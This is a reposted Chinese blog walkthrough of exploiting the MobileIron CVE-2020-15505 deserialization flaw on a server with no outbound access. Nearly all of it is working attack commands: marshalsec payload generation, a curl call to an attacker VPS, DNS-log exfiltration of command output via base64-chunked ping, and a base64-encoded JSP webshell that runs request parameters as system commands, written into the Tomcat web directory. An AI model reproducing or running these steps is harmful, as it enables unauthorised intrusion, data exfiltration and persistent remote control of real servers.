免费发布信息
当前位置:APP交易 > 热点资讯 > 资产交易 >  一次不出网的CVE-2020-15505漏洞写shell

一次不出网的CVE-2020-15505漏洞写shell

发表时间:2021-04-25 16:00:41  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

0x01 入口

通过信息收集,找到了https://mi.test.com,是一个MobileIron,吐槽: 其实就是fofa翻翻翻翻翻翻到的。



想起去年orange通过挖掘该系统漏洞获取了facebook权限。在GitHub上也有POC披露,于是便尝试使用该漏洞攻击。

https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html

POC下载地址: 

https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505


0x02 出网测试

对于不清楚内网环境的情况都需要进行fuzz,可以先尝试curl查看是否出网。

#生成访问VPS的命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "curl http://111.111.111.111/mdmpoc" > exp.ser

#执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

发现并不能访问我的vps,于是只能通过dnslog查看内网环境。我们可以通过ping命令将信息带回。需要注意的是,最后面的双引号要改为单引号,否则反引号需要"\\"转义


0x03 dnslog出whoami

#生成访问dnslog的并且带出whoami的命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'ping `whoami`.mydnslog.com' > exp.ser

#执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

接着执行exp,在dnslog成功返回了用户名:



首先我们知道在带入ping中是无法执行带参数的命令的,也无法返回多行的字符。只能逐个命令进行fuzz,例如返回uname -a、ifconfig命令字符串。


0x04 数据返回

通过本地fuzz后发现,特殊字符可能会影响命令执行,如+/等,各个系统可能会有差异。



0x04.1 第一层-编码

为了解决该问题,我们得将命令执行的结果进行base64编码返回:

ifconfig|base64

0x04.2 第二层-管道

当然这还不行,还要解决多行,可以使用head命令指定第几行:

ifconfig|head -n 1|base64



最基础的命令已经解决了,可是我们无法在反引号中执行,如下:

ping `ifconfig|head -n 1|base64`.mydnslog.com

0x04.3 第三层-变量

linux可以使用变量将结果再调用,整理命令后:

'whoami123=`ifconfig|head -n 1` && ping $whoami123.mydnslog.com'

0x04.4 第四层-字符限制

dnslog每级域名最长是63,总长不超过253。我们并不能决定命令执行的结果长度,只能截取<63长度的结果。20个字符串base64编码后刚好不会超过长度64。

'whoami123=`ifconfig|head -n 1|cut -b 1-20|base64` && $whoami123.mydnslog.com'


0x05 测试命令执行

了解基本命令之后,我们便能轻松对服务器进行命令执行。一顿操作之后,获取内网地址在15-35个字符串之间:


#生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`ifconfig|head -n 2|cut -b 15-35|base64` && ping $whoami123.mydnslog.com' > exp.ser


#执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser




0x06 查找web目录

查找web目录,就拿首页的login.jsp进行扫描,使用2>/dev/null隐藏错误输出:


#生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 1-20|base64` && ping $$whoami123.mydnslog.com' > exp.ser


#执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser


还不够,继续截取:

#生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 21-40|base64` && ping $$whoami123.mydnslog.com' > exp.ser

#执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser


拼接之后就能得到:


如果字符过长的话就一行一行显示吧,只需要改head -n,比较麻烦:

head -n 1 | tail -n 1


0x07 写webshell

使用base64编码进行写shell:

#生成命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d > mi/tomcat/webapps/mifs/1.jsp

#执行命令:

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

写了img目录、mifs目录、css目录都会跳转至登陆界面,得找一个能够不会跳转的界面。

这种情况的话建议打开web登录然后右键源代码看一下。执行命令太麻烦了,反正绝对路径已经知道了,自己猜测然后拼接一下更省力。


经过fuzz之后,发现s目录可以解析,上传shell之后不能执行。但是访问的时候确实解析了,抓包看一下,POST请求居然要认证。



那就用GET型的马,进行上shell:


#生成命令: 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d > mi/tomcat/webapps/mifs/s/6.jsp' > exp.ser

#执行命令: 

python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser


文章来源:https://mp.weixin.qq.com/s/Y26unnnkR9IFLbIsPxiBzw


责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470